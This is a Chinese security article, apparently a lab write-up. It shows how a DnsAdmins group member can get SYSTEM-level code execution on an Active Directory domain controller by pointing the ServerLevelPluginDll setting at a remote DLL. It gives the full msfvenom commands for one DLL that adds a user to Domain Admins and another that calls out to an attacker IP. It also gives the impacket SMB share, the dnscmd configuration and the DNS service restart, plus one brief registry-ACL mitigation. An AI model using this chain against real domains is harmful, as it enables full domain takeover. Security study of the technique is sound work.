文章来源|MS08067 公众号读者投稿
本文作者:VastSky(Ms08067实验室读者)
在域渗透中,我们获得DNS管理员(DNSAdmin)权限后,可以使用dnscmd.exe命令对域进行配置管理。我们查阅文档发现:ServerLevelPluginDll服务器没有对此操作中指定的DLL路径进行任何验证。接下来的文章中,我们将详细分析该攻击的实现。这个功能将在某些情况下可以在域控制器上以SYSTEM身份运行任意代码,无需成为管理员。这个操作已经得到微软的确认,这不是一个安全漏洞。但这仍是一个非常实用的技巧,可以用作红队的AD特权提升当中。
Dnscmd:用来管理DNS服务器的命令,可以远程使用。
默认情况下,这些组
DnsAdmins, Domain Admins, Enterprise Admins, Administrators 和 ENTERPRISEDOMAIN CONTROLLERS
是否有这些权限。
默认会安装的系统
Windows Server 2003
Windows Server 2008
Windows Server 2003 R2
Windows Server 2003 with SP1
Windows Server 2008 R2
Windows Server 2012
Windows Server 2016(本文中使用)
1、查看当前拥有用户的组
C:\Users\ryan\Documents>whoami/groups
通过观察发现ryan用户属于Contractors组,而Contractors是DNSadmin的组。DNSadmin就是Contractors的别名
也可以查看DnsAdmins组内的用户
net group "DomainAdmins" /domain
也可以通过PowerView脚本查看DnsAdmins组内的用户
import-module .\PowerView.ps1
Get-NetGroupMember -GroupName"DNSAdmins"
2、dnscmd.exe和dnscmd.exe.mui
默认系统上上system32目录中是有这两个文件的。如果遇到没有,无法执行可以自行上传。
将谷歌搜索出来dnscmd.exe和dnscmd.exe.mui,下载到目标系统的时候,发现无法执行。需要从本机上拷贝执行。
(1)将dnscmd.exe保存在C:\Windows\System32下
可用下载地址:
https://github.com/3gstudent/test/blob/master/dnscmd.exe
(2)将dnscmd.exe.mui保存在
C:\Windows\System32\en-US
可用下载地址:
https://github.com/3gstudent/test/blob/master/dnscmd.exe.mui
注:dnscmd.exe和dnscmd.exe.mui是在我的测试系统(WindowsServer 2008 R2x64)中获得的
通过搜索服务器的dnscmd.exe和dnscmd.exe.mui
命令:for /r c:\ %i in (dnscmd.*) do @echo %i
需要将dnscmd.exe和dnscmd.exe.mui文件拷贝到当前目录下,并且在同一目录下新建en-US文件夹将dnscmd.exe.mui放置到en-US目录中方可执行
copyc:\Windows\WinSxS\amd64_microsoft-windows-dns-server-dnscmd_31bf3856ad364e35_10.0.14393.3179_none_5cf94ce9a8afe302\dnscmd.exe.\
mkdir en-US
copy c:\Windows\WinSxS\amd64_microsoft-windows-d..er-dnscmd.resources_31bf3856ad364e35_10.0.14393.0_en-us_5f8e3db3d7a85561\dnscmd.exe.mui.\
确保dnscmd.exe可以执行
3、生成攻击dll和验证dll
当目标机器上边有杀毒,无法讲msfvenom生成的dll文件上传的目标机器。于是使用smb的方法,远程包含路径执行\\10.10.14.193\share\addDa.dll
msfvenom -pwindows/x64/exec cmd='net group "Domain Admins" melanie /add /domain'-f dll > ./addDA.dll
msfvenom -pwindows/exec cmd='powershell wget -uri http://10.10.14.193' -f dll >./wget.dll
4、通过imparket启动smb服务器
root@kali:~#smbserver.py share ./
5、执行攻击命令
dnscmd.exeResolute.megabank.local /config /serverlevelplugindll\\10.10.14.193\share\addDa.dll
sc stop dns
sd start dns
对于DNS服务器来说,此时会新建一个注册位置:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\DNS\Parameters\
ServerLevelPluginDll
REG_SZ
\\10.10.14.193\share\addDa.dll
6、查看被添加用户组
net user melanie/domain
已经成功将melanie用户添加到管理员组
KEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\DNS\Parameters\
利用dnscmd在DNS服务器上实现远程加载Dll时,会以System权限修改注册表,如果修改注册表
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\DNS\Parameters\的ACL(AccessControl List)
删除System用户的Set Value权限,能够阻止这个方法的利用
五、参考资料
https://medium.com/@esnesenon/feature-not-bug-dnsadmin-to-dc-compromise-in-one-line-a0f779b8dc83
扫描下方二维码加入星球学习
加入后会邀请你进入内部微信群,内部微信群永久有效!